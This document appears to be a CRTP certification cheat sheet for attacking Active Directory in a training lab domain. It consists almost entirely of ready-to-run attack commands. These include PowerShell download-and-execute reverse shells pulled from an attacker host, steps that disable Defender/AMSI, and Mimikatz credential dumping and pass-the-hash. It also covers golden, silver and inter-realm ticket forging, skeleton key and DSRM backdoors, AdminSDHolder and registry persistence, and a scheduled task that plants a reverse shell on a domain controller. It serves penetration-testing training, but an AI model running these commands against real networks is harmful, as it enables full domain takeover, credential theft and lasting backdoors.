# Sheet cheat CRTP

## https://github.com/ola-psut/CRTP

### ➔ Enumeration:

1- [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() \\\ information about current domain
2- Get-NetDomain -Domain DomainName\\ same as 1 but can run on anthor domain if trust established (powerview)
3- Get-DomainSID \\ get domain SID of current domain(powerview)
4- Get-DomainPolicy \\ policies on the domain (powerview)
5- (Get-DomainPolicy)."system access" \\ read about specific domain policy
6- Get-NetDomainController \\ get information about DC for current domain(powerview, -Domain can be used )
7- Get-NetUser \\ users in the domain (powerview, -UserName can be used )
8- Get-UserProperty \\ property for the users in domain (powerview, –Properties can be used (pwdlastset last passwd change ))
9- Find-UserField -SearchField Description -SearchTerm "built" \\ find a user that has built in his/her description
10- Get-NetComputer \\ find all computers in the domain (can use it (powerview) back to the slides if needed )
11- Get-NetGroup \\ list all groups in the domain (powerview , can use –Domain and –FullData)
12- Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local –ListGroups \\ all local groups on computer
13- Get-NetGroup *admin* \\ all groups have “admin” word in it
14- Get-NetGroup –UserName "student1" \\ membership of specific user
15- Get-NetGroupMember -GroupName "Domain Admins" -Recurse \\ get members of specific group
16- Get-LoggedonLocal -ComputerName dcorp-dc \\ gets who local loggedon that computer
17- Invoke-ShareFinder –Verbose \\ find shares on the current domain
18- Invoke-FileFinder –Verbose \\ sensitive files on computers in the domain

19- Get-NetFileServer \\ all file server on the domain
20- Get-NetGPO \\ lists all group policy objects (can use –ComputerName ) back to the slide if needed
21- Get-NetOU –FullData \\ get organization units in the domain
22- Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B83E8F4EF8081}" \\ get gpo applied for specific OU
23- Get-ObjectAcl -SamAccountName student1 –ResolveGUIDs \\ get access control list for specific user(identityrefernce, activedirectory rights )
24- Get-ObjectAcl -SamAccountName "Domain Admin" -ResolveGUIDs –Verbose \\ get ACLs for specific group
25- Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"} \\ look for interesting ACLs for RDPUsers gourp since student16 is in the group
26- Get-NetDomainTrust \\ all trust to the current domain (can use –Domain )
27- Get-NetForest \\ details about the current forest (can use –Forest )
28- Get-NetForestCatalog \\ get global catalog for the forest (can use -Forest)
29- Get-NetForestDomain –Verbose \\ all domain in the current forest
30- Get-NetForestDomain -Verbose | Get-NetDomainTrust \\ all the trust for all DC in the forest can use (| ?{$_.TrustType -eq 'External'} , for only external trusts )
31- Get-NetForestDomain -Forest eurocorp.local -Verbose | Get-NetDomainTrust \\ get all DCs trusts for another forest
32- Find-LocalAdminAccess –Verbose \\ all the machines that the user have local admin access on it
33- OR Find-WMILocalAdminAccess.ps1 AND FindPSRemotingLocalAdminAccess.ps1
34- Invoke-EnumerateLocalAdmin –Verbose \\ look for all local admins in the domain
35- Invoke-UserHunter –GroupName "RDPUsers" \\ all sessions in the domain for a specific group (can be used without –GroupName can use -CheckAccess)
36- Invoke-UserHunter –Stealth \\ find a machines where domain admin has logged in

37- Invoke-BloodHound -CollectionMethod All \\ GUI for all the domain BloodHound-master\Ingestors\SharpHound.ps1
38- Get-NetUser –SPN \\ service provider names

➔ Privilege escalation(powerUP):

1- net localgroup Administrators \\ check if you admin on the current machine
2- Get-ModifiableService –Verbose OR Get-ServiceUnquoted –Verbose OR Get-ModifiableServiceFile –Verbose \\ all do the same finds a service to abuse and abuse it
3- Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\studentx' \\ to abuse the unquoted service
4- Invoke-AllChecks \\ check abusable services

➔ Lateral Movement:

1- powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.X/InvokePowerShellTcp.ps1'));Power -Reverse -IPAddress 172.16.100.X -Port 443 \\ running this script to invoke a script in the remote machine which we has local admin
2- powershell.exe iex (iwr http://172.16.100.X/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Power -Reverse -IPAddress 172.16.100.X -Port 443 \\ same as 1 (my fav)
3- powercat -l -v -p 443 -t 100 \\ listen for incoming connection from the victim (powercat )
4- Enter-PSSession -Session –ComputerName
5- $sess = New-PSSession –ComputerName
6- Invoke-Command -ScriptBlock {whoami;hostname} -ComputerName dcorp-mgmt.dollarcorp.moneycorp.local \\ some command to the computer that we has local admin on it
7- Invoke-command ScriptBlock{Set-MpPreference -DisableIOAVProtection $true} -Session $sess \\ turn of amsi protection on specific session

8- Invoke-command ScriptBlock ${function:Invoke-Mimikatz} -Session $sess \\ function that's been uploaded to the system
9- Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm: b38ff50264b74508085d82c69794a4d8 /run:powershell.exe"' \\ open command line execution pass the hash Over-PTH
10- Copy-Item .\Invoke-MimikatzEx.ps1 \\dcorpadminsrv.dollarcorp.moneycorp.local\c$\'Program Files' \\ check General commands applocker policy to know the real path ,( Add "Invoke-Mimikatz" (without quotes) to the end of the file)
11- Invoke-Mimikatz Command '"sekurlsa::ekeys"' \\ aes keys
12- Invoke-Mimikatz -Command '"token::elevate" "vault::cred /patch"' \\ for scheduled tasks stored in credential vault

➔ Persistence:

1- Invoke-Mimikatz -Command '"lsadump::lsa /patch"' –Computername dcorp-dc \\ compromise krbtgt hash when we get DA access and all secret
2- Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"' \\ generates golden ticket (TGT for krbtgt)
3- Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' // more silent and it compromise krbtgt hash
4- Invoke-Mimikatz -Command '"kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /target:dcorpdc.dollarcorp.moneycorp.local /service:CIFS /rc4:6f5b5acaf7433b3282ac22e21e62ff22 /user:Administrator /ptt" // silver ticket (TGS for the service might be CIFS , HOST

to schedule task (check general commands if needed)on remote computer , WSMAN , WMI = HOST + RPCSS)

5- Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName dcorpdc.dollarcorp.moneycorp.local \\ skeleton key attack (add password “mimkatz” to all services) downgrade the network security
6- Enter-PSSession –Computername dcorp-dc –credential dcorp\Administrator \\ try to enter the session using “mimkatz” as credential
7- Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc \\ dump DSRM hash
8- NewItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD // change DSRM registry in the DC (downgrading the security of )
9- Custom ssp commands if needed
10- Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName student1 -Rights All –Verbose \\ AdminSDHolder to add a full Control permission to a specific user (persistence)(-Rights can be ResetPassword , WriteMembers, DCSync (abuse the right to compromise krbtgt hash anytime ))
11- Invoke-SDPropagator -timeoutMinutes 1 -showProgress –Verbose \\ run sdprop manually invoke it in the domain
12- Add-DomainGroupMember -Identity 'Domain Admins' -Members testda –Verbose \\ adding a group member after abusing the ACLs (powerview_dev)
13- Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force) –Verbose \\ set the Password of the adding member(powerview_dev)
14- Set-RemoteWMI -SamAccountName studentx -ComputerName dcorp-dc.dollarcorp.moneycorp.local -

namespace 'root\cimv2' –Verbose \\ set the WMI to be accessible from the normal user privilege (studentx) open the slides if needed (RACE.ps1)

15- Set-RemotePSRemoting –SamAccountName studentx -ComputerName dcorp-dc.dollarcorp.moneycorp.local –Verbose \\ (RACE.ps1)

16- Add-RemoteRegBackdoor -ComputerName dcorpdc.dollarcorp.moneycorp.local -Trustee studentx –Verbose \\ (RACE.ps1)

17- Get-RemoteMachineAccountHash -ComputerName dcorpdc.dollarcorp.moneycorp.local –Verbose \\ (RACE.ps1)

18- Check the slides for kerboarst cracking by requesting tgs commands

19- Get-DomainUser -PreauthNotRequired –Verbose \\ all users that doesn’t require preauth

20- Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} \\ which user a have control over since I’m in RDPUsers Group

21- Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} –Verbose \\ disable the preauth for specific user look at slides for more info

22- Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} // check our permission on all users

23- Get-DomainUser -Identity supportXuser | select serviceprincipalname \\ check if SPN existed

24- Set-DomainObject -Identity supportXuser -Set @{serviceprincipalname='dcorp/whateverX'} –Verbose \\ set a SPN to request a TGS and crack it see the lab manual objective 16

25- Get-NetComputer -Unconstrained | select -ExpandProperty name \\ machines that has unconstrained delegation enabled

26- Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' \\ export all the tickets in that machine

27- Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 UserName Administrator -Delay 5 –Verbose \\ poll every 100 second asking the Administrator to provide a TGT
28- Invoke-Mimikatz -Command '"kerberos::ptt C:\Users\appadmin\Documents\userX\[0;6f5638a]-2-0-60a10000Administrator@krbtgt-DOLLARCORP.MONEYCORP.LOCAL.kirbi"' \\ pass the extracted ticket
29- Get-DomainUser –TrustedToAuth \\ users with constrained delegation enabled
30- Get-DomainComputer –TrustedToAuth \\ machines with constrained delegation enabled
31- kekeo# tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f \\ request a TGT using kekeo.exe
32- tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollar corp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL \\ request a TGS
33- Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~dcorpdc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL _ALT.kirbi"' \\ pass the ticket
34- tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorp-

dc.dollarcorp.moneycorp.LOCAL \\ abuse ldap or time service on specific machine

35- Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt" \\ dump krbtgt hash after injecting ldap and time tgs to the powershell.exe session

36- DnsAdmins commands not needed but check them if have a time

37- EnterpriseAdmin (cross trust) check the commands in the slides (inter-realm TGT not needed!)

38- Invoke-Mimikatz -Command '"lsadump::trust /patch" //extract the trust key between child and domain (might be useful )

39- Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /rc4:f052addf1d43f864a7d0c21cbce440c9 /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"' \\ request a ticket from parent by the trust key (sids = enterprise admins sid, sid = domain sid )

40- Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-15-21-280534878-1496970234-700767426-519 /rc4:7ef5be456dc8d7450fb8f5f7348746c5 /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"' \\ by the krbtgt hash same as 39 inter-realm TGT

41- .\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local \\ to request a TGS from a TGT

42- .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi \\ inject the TGS

43- Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"' \\ pass the ticket requested from krbtgt hash

44- Invoke-Mimikatz -Command '"lsadump::trust /patch"' ComputerName dcorp-dc.dollarcorp.moneycorp.local \\ dump all hashes that used for trust (DA needed)

45- Get-SQLInstanceDomain | Get-SQLServerinfo –Verbose \\ check if we can login into the SQL server(Import-Module .\PowerupSQL.psd1)

46- Get-SQLServerLinkCrawl -Instance dcorpmssql.dollarcorp.moneycorp.local -Verbose \\ all links in the sql server

47- Get-SQLServerLinkCrawl -Instance dcorpmssql.dollarcorp.moneycorp.local -Query "exec master..xp_cmdshell 'whoami'" \\ check which link we have a system admin to execute quires

48- Invoke-Mimikatz -Command '"token::elevate" "vault::cred /patch"' // to dump interesting credential that might be used to schedule tasks (/export instead of patch can be used )

→Generals commands:

1- Set-MpPreference -DisableIOAVProtection $true
2- Net localgroup Administrators
3- $ExecutionContext.SessionState.LanguageMode
4- Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

5- Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess
6- Copy-Item .\Invoke-MimikatzEx.ps1 \\dcorpadminsrv.dollarcorp.moneycorp.local\c$\'Program Files'
7- gwmi -Class win32_computersystem -ComputerName dcorpdc.dollarcorp.moneycorp.local
8- schtasks /create /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "UserX" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/Invoke-PowerShellTcp.ps1''')'"
9- schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "UserX"
10- klist and klist purge
11- Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ? {($_.IdentityReference -match "studentx") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}